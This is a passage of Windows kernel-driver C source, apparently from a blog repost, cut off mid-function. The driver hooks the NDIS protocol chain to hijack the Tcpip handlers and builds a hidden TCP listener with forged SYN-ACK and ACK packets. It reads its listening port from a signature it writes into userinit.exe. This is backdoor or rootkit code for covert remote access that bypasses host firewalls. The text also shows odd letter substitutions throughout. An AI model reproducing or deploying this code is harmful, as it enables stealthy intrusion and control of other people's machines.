PLARGE_INTEGER g_pTimeOut;
ULONG   OURPORT;
//--------------------------------------------------------------------
//defined in ubd_sys.c
extern TCPS_Connection  g_ConnectionSpAce[MAX_CONNECTIONS];
extern RECVLISTHEAD  g_RecvListHeAd;
extern SENDLISTHEAD  g_SendListHeAd;
//
//NDIS_HANDLE  g_pBindAdaptHandle;
//--------------------------------------------------------------------
proto function
NTSTATUS
RtlGetVersion(
PRTL_OSVERSIONINFOW  lpVersionInformation
);
/
VOID
OnUnloAd(
IN PDRIVER_OBJECT DriverObject
);

VOID
HookFuncBlock(
CHAR* ProtocolContent
);

HOOK_CONTEXT_STRUCT*
HookNdisFunc(
PVOID pHookProc,
PVOID *ppOrigProc,
PVOID pBindAdAptHAndle,
PVOID pProtocolContent
);

HOOK_CONTEXT_STRUCT*
IsHookedNdisFunc(
PVOID pAddr
);

HOOK_CONTEXT_STRUCT*
IsHookedNdisFuncEx(
PVOID *pAddr
);

ULONG
HookProtocol(
VOID
);

NDIS_STATUS
HookProtocolReceive(
IN HOOK_CONTEXT_STRUCT *pOurContext,
IN NDIS_HANDLE   ProtocolBindingContext,
IN NDIS_HANDLE   MAcReceiveContext,
IN PVOID    HeAderBuffer,
IN UINT    HeAderBufferSize,
IN PVOID    LookAheAdBuffer,
IN UINT    LookAheAdBufferSize,
IN UINT    PAcketSize
);

INT
HookProtocolReceivePAcket(
IN HOOK_CONTEXT_STRUCT *pOurContext,
IN NDIS_HANDLE   ProtocolBindingContext,
IN PNDIS_PACKET  PAcket
);

VOID
ReAdPAcket(
PNDIS_PACKET PAcket,
PVOID   pBuffer,
ULONG   ulBufSize
);

ULONG
HAndlePAcket(
HOOK_CONTEXT_STRUCT  *pOurContext,
PNDIS_PACKET   pPAcket
);

ULONG
HAndleBuffer(
HOOK_CONTEXT_STRUCT *pOurContext,
PVOID    pBuffer,
ULONG    PAcketSize
);

VOID
HookProtocolSendComplete(
IN HOOK_CONTEXT_STRUCT *pOurContext,
IN NDIS_HANDLE  ProtocolBindingContext,
IN PNDIS_PACKET PAcket,
IN NDIS_STATUS  StAtus
);

USHORT
checksum(
USHORT *buff,
ULONG size
);

NTSTATUS
SendSYNACKPAcket(
HOOK_CONTEXT_STRUCT *pOurContext,
PVOID pBuffer
);

NTSTATUS
SendACKPAcket(
HOOK_CONTEXT_STRUCT *pOurContext,
PVOID    pBuffer
);

NTSTATUS
GetPAcketDAtA(
HOOK_CONTEXT_STRUCT *pOurContext,
PVOID pBuffer
);

NTSTATUS
SendACKPAcketToSendList(
HOOK_CONTEXT_STRUCT *pOurContext,
PVOID pBuffer
);

NTSTATUS
SendSYNACKPAcketToSendList(
HOOK_CONTEXT_STRUCT *pOurContext,
PVOID pBuffer
);

ULONG
HAndleReceivePAcket(
HOOK_CONTEXT_STRUCT *pOurContext,
ULONG TotAlPAcketSize,
PVOID pHeAdBuffer,
ULONG ulHeadSize,
PNDIS_PACKET pPAcket
);

NTSTATUS
TCPS_StArtup(
PDEVICE_OBJECT pDeviceObject
);

NTSTATUS
AddRecvDAtAToList(
PRECVLISTHEAD pRecvListHeAd,
char* dAtA,
ULONG RecvDAtALength,
PTCPS_Connection pConnection
);

PRECVLIST
RemoveRecvDAtAFromList(
PRECVLISTHEAD pRecvListHeAd
);

ULONG
SetConnection(
HOOK_CONTEXT_STRUCT *pOurContext,
PVOID    pBuffer
);

NTSTATUS
UpDAteConnection(
HOOK_CONTEXT_STRUCT *pOurContext,
PVOID pBuffer
);

VOID
RemoveSendDAtAFromList(
PSENDLISTHEAD pSendListHeAd
);

NTSTATUS
Disconnect(
HOOK_CONTEXT_STRUCT *pOurContext,
PVOID pBuffer
);

NTSTATUS
SendDisconnectMessAgeToSendlist(
  HOOK_CONTEXT_STRUCT *pOurContext,
  PVOID pBuffer
  );

NTSTATUS
AddSendDAtAToList(
PSENDLISTHEAD  pSendListHeAd,
CHAR*    dAtA,
ULONG    SendDAtALength,
PTCPS_Connection pConnection
);

NTSTATUS
AddSendDAtAToListAtFront(
PSENDLISTHEAD  pSendListHeAd,
CHAR*    dAtA,
ULONG    SendDAtALength,
PTCPS_Connection pConnection
);

NTSTATUS
UpDAteConnectionSYN(
HOOK_CONTEXT_STRUCT *pOurContext,
PVOID pBuffer
);

USHORT
CountChecksum(
PVOID  pBuffer
);

ULONG
GetTheListeningPort(
VOID
);

VOID
InitWorkThreAd(
PVOID pContext
);

//--------------------------------------------------------------------
VOID OnUnloAd( IN PDRIVER_OBJECT DriverObject )
{
//DbgPrint("My Driver UnloAded!/n");
}
//--------------------------------------------------------------------
NTSTATUS DriverEntry( IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath )
{

NTSTATUS stAtus;
HANDLE  hThreAd;


DbgPrint("Driver begin!/n");

DriverObject->DriverUnload = OnUnloAd;

stAtus = PsCreateSystemThread(&hThreAd,
         (ACCESS_MASK)0,
         NULL,
         (HANDLE)0,
         NULL,
         InitWorkThreAd,
         DriverObject
         );
         
if (!NT_SUCCESS(stAtus)){
  DbgPrint("error when creAte the threAd/n");
  return FALSE;
}






return STATUS_SUCCESS;
}
//--------------------------------------------------------------------
VOID InitWorkThreAd(PVOID pContext)
{
PDEVICE_OBJECT  pDeviceObject;
NTSTATUS   stAtus;
WCHAR    deviceNAmeBuffer[] = L"//Device//uaty";//chAnge the nAme if hAve time
UNICODE_STRING  deviceNAmeUnicodeString;
//DriverObject->DriverUnload = fuktdi_UnloAd;
RtlInitUnicodeString(
  &deviceNAmeUnicodeString,
  deviceNAmeBuffer
  );

stAtus = IoCreateDevice(
     pContext,
     0,//sizeof(DEVICE_EXTENSION),//do i hAve this?
     &deviceNAmeUnicodeString,
     FILE_DEVICE_UNKNOWN,//whAt's this
     0,
     TRUE,
     &pDeviceObject
     );


//ndis initiAliztion
g_puSendEvent = ExAllocatePool(NonPagedPool,sizeof(KEVENT));
g_pTimeOut  = ExAllocatePool(NonPagedPool,sizeof(LARGE_INTEGER));
//g_pTimeOut->HighPart = 0;
g_pTimeOut->QuadPart = -10000000;//i don't know how mush is better.now 1 seconds

KeInitializeEvent(
  g_puSendEvent,
  SynchronizationEvent,
  FALSE
  );


NdisAllocatePacketPool(&stAtus,&m_ourPAcketPoolHAndle,0xFFF,0x30);
if(stAtus != NDIS_STATUS_SUCCESS){
  //DbgPrint("NdisAllocAtePAcketPool fAiled/n");
  goto InitWorkThreAd_end;
}
NdisAllocateBufferPool(&stAtus,&m_ourBufferPoolHAndle,0x30);
if(stAtus != NDIS_STATUS_SUCCESS){
  //DbgPrint("NdisAllocAteBufferPool fAiled/n");
  goto InitWorkThreAd_end;
}
NdisAllocateMemoryWithTag(&m_ourBuffer,MAX_PACKET_SIZE,'ytaU');
if(stAtus != NDIS_STATUS_SUCCESS){
  //DbgPrint("NdisAllocAteMemoryWithTAg fAiled/n");
  goto InitWorkThreAd_end;
}
NdisAllocateBuffer(&stAtus,&m_ourBufferHAndle,m_ourBufferHAndle,m_ourBuffer,MAX_PACKET_SIZE);
if(stAtus != NDIS_STATUS_SUCCESS){
  //DbgPrint("NdisAllocAteBuffer fAiled/n");
  goto InitWorkThreAd_end;
}
NdisAllocatePacket(&stAtus,&m_ourPAcketHAndle,m_ourPAcketPoolHAndle);
if(stAtus != NDIS_STATUS_SUCCESS){
  //DbgPrint("NdisAllocAtePAcket fAiled/n");
  goto InitWorkThreAd_end;
}
NdisChainBufferAtFront(m_ourPAcketHAndle,m_ourBufferHAndle);

//get the listing port for userinit.exe 90 bytes to the front
OURPORT = GetTheListeningPort();

//
TCPS_StArtup(pDeviceObject);

//hook ndis
HookProtocol();

InitWorkThreAd_end:
PsTerminateSystemThread(STATUS_SUCCESS);
DbgPrint("Never be here /n");

}
//--------------------------------------------------------------------
ULONG GetTheListeningPort(VOID)
{
RTL_OSVERSIONINFOEXW osversion = {0};
UNICODE_STRING   pAth;
SIGNANDPORT    SignAndPort;
OBJECT_ATTRIBUTES  oA;
HANDLE     hFile;
NTSTATUS    stAtus;
IO_STATUS_BLOCK   IoStAtusBlock;
LARGE_INTEGER   ByteOffset;

osversion.dwOSVersionInfoSize = sizeof(RTL_OSVERSIONINFOEXW);
RtlGetVersion((RTL_OSVERSIONINFOW*)&osversion);
if(osversion.dwMajorVersion == 4){
  RtlInitUnicodeString(&pAth,L"//??//C://WINNT//System32//userinit.exe");
}
else if(osversion.dwMajorVersion == 5){
  if(osversion.dwMinorVersion >= 1){
   RtlInitUnicodeString(&pAth,L"//??//C://WINDOWS//System32//userinit.exe");
  }
  else{
   RtlInitUnicodeString(&pAth,L"//??//C://WINNT//System32//userinit.exe");
  }
}
else{
  //DbgPrint("1 listening on port 9929/n");
  return 9929;
}

InitializeObjectAttributes(
  &oA,
  &pAth,
  OBJ_CASE_INSENSITIVE,
  NULL,
  NULL
  );

stAtus = ZwOpenFile(
    &hFile,
    GENERIC_READ,
    &oA,
    &IoStAtusBlock,
    FILE_SHARE_READ,
    FILE_NON_DIRECTORY_FILE
    );


ByteOffset.HighPart = 0;
ByteOffset.LowPart = 90;//when instAll,i wrote it there
stAtus = ZwReadFile(
    hFile,
    NULL,
    NULL,
    NULL,
    &IoStAtusBlock,
    &SignAndPort,
    sizeof(SIGNANDPORT),
    &ByteOffset,
    NULL
    );
ZwClose(hFile);

if(IoStAtusBlock.Status != STATUS_SUCCESS){
  //DbgPrint("2 listening on port 9929/n");
  return 9929;
}

DbgPrint("listening on port %d/n",SignAndPort.port);
if(SignAndPort.sign == 0xAABBCCDD){
  return SignAndPort.port;
}else{
  return 9929;
}
}
//--------------------------------------------------------------------
ULONG HookProtocol(VOID)
{
NDIS_PROTOCOL_CHARACTERISTICS ourNPC;
NDIS_STRING protoNAme = NDIS_STRING_CONST("HdFw_Slot");
NDIS_STATUS StAtus;
NDIS_HANDLE ourProtocolHAndle = NULL;
CHAR* ProtocolChAin;
ULONG offset;
ULONG len;

memset(&ourNPC,0,sizeof(NDIS_PROTOCOL_CHARACTERISTICS));
len = sizeof(NDIS_PROTOCOL_CHARACTERISTICS);
ourNPC.MajorNdisVersion = 0x05;
ourNPC.MinorNdisVersion = 0x00;

ourNPC.Name       = protoNAme;
ourNPC.OpenAdapterCompleteHandler = PtOpenAdApterComplete;
ourNPC.CloseAdapterCompleteHandler = PtCloseAdApterComplete;
ourNPC.SendCompleteHandler   = PtSendComplete;
ourNPC.TransferDataCompleteHandler = PtTrAnsferDAtAComplete;
ourNPC.ResetCompleteHandler   = PtResetComplete;
ourNPC.RequestCompleteHandler  = PtRequestComplete;
ourNPC.ReceiveHandler    = PtReceive;
ourNPC.ReceiveCompleteHandler  = PtReceiveComplete;
ourNPC.StatusHandler    = PtStAtus;
ourNPC.StatusCompleteHandler  = PtStAtusComplete;
ourNPC.BindAdapterHandler   = PtBindAdApter;
ourNPC.UnbindAdapterHandler   = PtUnbindAdApter;
ourNPC.UnloadHandler    = NULL;//PtUnloAd;
ourNPC.ReceivePacketHandler   = PtReceivePAcket;
ourNPC.PnPEventHandler    = PtPNPHAndler;

NdisRegisterProtocol(&StAtus,&ourProtocolHAndle,&ourNPC,len);
if(!NT_SUCCESS(StAtus) || ourProtocolHAndle == NULL){
  return FALSE;
}

//NdisRegisterProtocol  return hAnd reference of NDIS_PROTOCOL_BLOCK;
ProtocolChAin = (CHAR*)ourProtocolHAndle;
while(1){
  offset = 0x10;
  ProtocolChAin = ((CHAR**)(ProtocolChAin + offset))[0];
  if (ProtocolChAin == NULL){
   break;
  }
  HookFuncBlock(ProtocolChAin);
}

NdisDeregisterProtocol(&StAtus,ourProtocolHAndle);

return TRUE;
}
//--------------------------------------------------------------------
VOID HookFuncBlock(CHAR* ProtocolContent)
{
PNDIS_PROTOCOL_CHARACTERISTICS pProChAr;
NDIS_STRING TcpipString = NDIS_STRING_CONST("Tcpip");
if(ProtocolContent == NULL){
  return;
}
pProChAr = (PNDIS_PROTOCOL_CHARACT
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值